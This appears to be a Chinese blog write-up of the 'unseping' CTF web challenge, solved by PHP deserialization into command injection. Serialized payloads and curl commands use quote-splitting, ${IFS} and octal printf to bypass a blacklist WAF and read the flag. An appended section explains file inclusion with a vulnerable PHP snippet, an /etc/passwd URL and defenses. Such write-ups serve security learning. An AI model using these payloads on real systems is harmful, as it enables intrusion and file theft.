攻防世界-web-unseping

1. 题目描述

打开链接,如下代码

代码都贴出来了,那么只需要分析代码即可,看是否存在漏洞以及如何利用

2. 思路分析

代码很简单,外部只需要接收cft这个参数,然后将这个参数反序列化后赋值给对量的method和args参数,啊UI周内部存在执行命令的函数ping调用exec去执行外部传入的args参数,所以这里明显存在命令注入,关键是__wakeup函数中存在一个waf,waf中对传入的参数有个黑名单限制,但是,对于命令注入这种攻击手法来说,黑名单限制容易绕过,因此我们思路就很清晰了

2.1 存在命令注入,利用命令注入执行命令

2.2 尝试绕过waf的限制

3. 解题过程

3.1 我们先简单执行下pwd这个命令,证明确实存在命令注入

$str = serialize(new ease("ping", array("pwd")));
print(base64_encode($str));

我们传入的args是一个数组,这里可以搜下call_user_func_array这个函数的用法

curl -XPOST http://61.147.171.105:50248/ --data "ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozOiJwd2QiO319"

然后通过curl命令访问,得到结果如下

说明pwd命令执行成功

3.2 执行ls命令,尝试绕过黑名单的限制

这里使用单双引号绕过

$str = serialize(new ease("ping", array('l""s')));
print(base64_encode($str));

同样执行命令

curl -XPOST http://61.147.171.105:50248/ --data "ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsIiJzIjt9fQ=="

得到结果为:

刚好找到一个flag_1s_here,经过验证,这是一个目录,这个时候同样执行ls命令,这里flag同样使用单双引号绕过即可,但是空格可以使用${IFS}替换

$str = serialize(new ease("ping", array('l""s${IFS}fla""g_1s_here')));
print(base64_encode($str));

同样,执行命令

curl -XPOST http://61.147.171.105:50248/ --data "ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWZsYSIiZ18xc19oZXJlIjt9fQ=="

可以看到包含有flag的文件了

那么接下来就是执行cat flag_1s_here/flag_831b69012c67b35f.php命令获取该文件的内容,这里关键在于/该如何绕过,这里参考网上做法,通过八进制编码绕过(比如a可以表示成\141)

这里通过python简单转了下

然后再转成shell执行命令的形式

$str = serialize(new ease("ping", array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")')));
print(base64_encode($str));

最终执行命令

curl -XPOST http://61.147.171.105:50248/ --data "ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNjk6IiQocHJpbnRmJHtJRlN9IlwxNDNcMTQxXDE2NFw0MFwxNDZcMTU0XDE0MVwxNDdcMTM3XDYxXDE2M1wxMzdcMTUwXDE0NVwxNjJcMTQ1XDU3XDE0NlwxNTRcMTQxXDE0N1wxMzdcNzBcNjNcNjFcMTQyXDY2XDcxXDYwXDYxXDYyXDE0M1w2Nlw2N1wxNDJcNjNcNjVcMTQ2XDU2XDE2MFwxNTBcMTYwIikiO319"

得到结果为cyberpeace{443e57942c8c0bf6e2e0193b56f359a4}

4. 总结

4.1 这里没有通过burpsuite而是通过执行命令的方式来获取结果,因为我这边使用burpsuite没法正常显示,不清楚原因,有清楚的欢迎评论

4.2 这里关键在于命令注入各种各样的绕过方式,获益良多

在网络安全领域,文件包含漏洞(File Inclusion Vulnerability)是一种常见且危险的安全漏洞。文件包含漏洞通常出现在Web应用程序中,允许攻击者通过特定的参数或输入来包含并执行任意文件,从而可能导致服务器被完全控制或敏感信息泄露。 文件包含漏洞主要分为两种类型: 1. **本地文件包含(Local File Inclusion, LFI)**: - 攻击者可以包含服务器上的本地文件。 - 例如,攻击者可以通过修改URL参数来包含服务器的敏感配置文件或密码文件。 2. **远程文件包含(Remote File Inclusion, RFI)**: - 攻击者可以包含远程服务器上的文件。 - 例如,攻击者可以通过修改URL参数来包含远程服务器上的恶意脚本,从而执行任意代码。 ### 示例 假设有一个简单的PHP脚本用于包含文件: ```php <?php $file = $_GET['file']; include($file); ?> ``` 在这个例子中,攻击者可以通过修改`file`参数来包含任意文件。例如,访问以下URL: ``` http://example.com/page.php?file=/etc/passwd ``` 攻击者可以获取服务器的`/etc/passwd`文件内容。 ### 防御措施 1. **输入验证**:确保用户输入的文件名符合预期,例如只允许包含特定目录下的文件。 2. **使用白名单**:定义一个允许包含的文件列表,拒绝所有不在白名单中的文件。 3. **禁用远程文件包含**:在PHP配置文件中设置`allow_url_include`为`Off`,防止远程文件包含。 4. **最小权限原则**:确保Web服务器进程只具有必要的文件访问权限。 ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值